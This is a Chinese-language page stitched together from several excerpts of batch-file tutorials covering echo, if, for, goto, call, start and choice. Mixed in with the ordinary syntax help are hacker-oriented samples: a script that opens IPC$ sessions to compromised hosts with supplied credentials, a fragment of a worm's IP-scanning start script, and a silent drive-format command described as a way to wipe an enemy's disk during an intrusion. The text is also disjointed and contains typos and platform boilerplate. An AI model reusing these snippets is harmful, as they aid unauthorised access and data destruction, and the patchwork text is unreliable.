a,呵呵,好像有点画蛇添足了~sample2:当我们要建立一个IPC$连接地时候总要输入一大串命令,弄欠好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不必每次都打命令了.@echo off@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数.@if errorlevel 1 echo connection failed怎么样,使用参数还是比较简单的吧?欠好的地方请大家见谅见谅下哈..。

bat批处理命令大全

bat批处理命令大全BAT批处理命令大全。

批处理文件是一种包含一系列操作命令的文本文件,它们可以自动执行一系列任务,这些任务可以是一些常规的操作、系统管理任务或者其他需要重复执行的任务。

在Windows系统中,批处理文件使用的是BAT扩展名,它们可以通过命令提示符或者直接双击运行来执行其中的命令。

本文将介绍BAT批处理命令的一些常见用法,以及一些常用的批处理命令。

1. ECHO命令。

ECHO命令用于在屏幕上显示文本或者关闭显示。

在批处理文件中,可以使用ECHO命令来输出一些提示信息或者显示执行结果。

例如:```。

ECHO Hello, World!```。

这条命令会在屏幕上显示“Hello, World!”。

如果想关闭显示,可以使用ECHO OFF命令。

2. PAUSE命令。

PAUSE命令用于暂停批处理文件的执行,直到用户按下任意键。

这在需要用户确认或者等待的情况下非常有用。

例如:```。

ECHO Press any key to continue...PAUSE。

这样就会在屏幕上显示“Press any key to continue...”,并且等待用户按下任意键后继续执行。

3. IF命令。

IF命令用于根据条件来执行不同的命令。

它可以用于判断文件是否存在、变量的值等情况。

例如:```。

IF EXIST file.txt (。

ECHO file.txt exists。

) ELSE (。

ECHO file.txt does not exist。

)。

```。

这条命令会判断当前目录下是否存在file.txt文件,如果存在则输出“file.txt exists”,否则输出“file.txt does not exist”。

4. FOR命令。

FOR命令用于循环执行一系列命令。

它可以用于遍历文件、目录、字符串等。

例如:```。

FOR /L %i IN (1,1,10) DO (。

ECHO %i。

```。

这条命令会输出1到10的数字。

批处理中常用命令介绍(Echo、rem、goto、call、pause、if、for)

批处理中常用命令介绍(Echo、rem、goto、call、pause、if、for)一、echo命令(echo图文版)1. Echo :显示当前ECHO的状态:ECHO ON 或者ECHO OFF 。

2. ECHO ON :ECHO状态设为ON,将显示命令行(如每行前的C:\>等类似标志)。

3. ECHO OFF:CHO状态设为OFF,将不显示命令行(如每行前的C:\>等类似标志) 。

4. ECHO 字符串:将输入的字符串显示在CMD屏幕上。

5. ECHO 字符串&ECHO 字符串… :&,类似and的意思,逻辑运算,用来显示多行数据。

6. ECHO 字符串>文件路径和文件名:将字符串写入文件中,若已有数据将先清空后写入。

7. ECHO 字符串>>文件路径和文件名:将字符串写入文件中,若已有数据将追加到末尾。

注意每次:ECHO 字符串>>文件路径和文件名,命令之后,ECHO就回自动在在字符串后添加换行符,所以要想直接添加到文件末尾,那么文件中已有的数据,不能是ECHO命令先前输入的(或者手工删掉换行符)8. (ECHO 字符串&ECHO 字符串…)>文件路径和文件名:将多行数据写入文件中(注意括号不能去掉,如果括号去掉的话,那么只能写入最后一个,前面的将输出在CMD窗口中。

如果文件中已经有数据,将先自动清空后再写入。

9. (ECHO 字符串&ECHO 字符串…)>>路径和文件名将多行数据写入文件中(注意括号不能去掉,如果括号去掉的话,那么只能写入最后一个,前面的将输出在CMD窗口中。

如果文件中已经有数据,就将该字符串追加到文件的末尾。

10. (ECHO 字符串)>>文件路径和文件名:在文件中另起一行追加上字符串。

如图所示:11. ECHO.:输出空行,即相当于输入一个回车注意命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。

批处理经典入门教程!_从不懂到高手_第3-5页

批处理经典入门教程!(从不懂到高手)第3/5页二:START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SETNUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

有时候,大家会用到.bat文件来处理问题,但是有没有考虑过这些命令是什么意思?对照如下解释,能帮助我们有所理解。

1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description.

5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

8.choice 命令 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end

:defrag c:\\dos\\defrag goto end :mem mem goto end :end echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if \"参数\" == \"字符串\" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if \"%1\"==\"a\" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:

FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。

FOR /F [\"options\"] %variable IN (file-set) DO command FOR /F [\"options\"] %variable IN (\"string\") DO command FOR /F [\"options\"] %variable IN (command) DO command

或者,如果有 usebackq 选项: FOR /F [\"options\"] %variable IN (file-set) DO command FOR /F [\"options\"] %variable IN (\"string\") DO command FOR /F [\"options\"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 \"options\" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代

相关文档
最新文档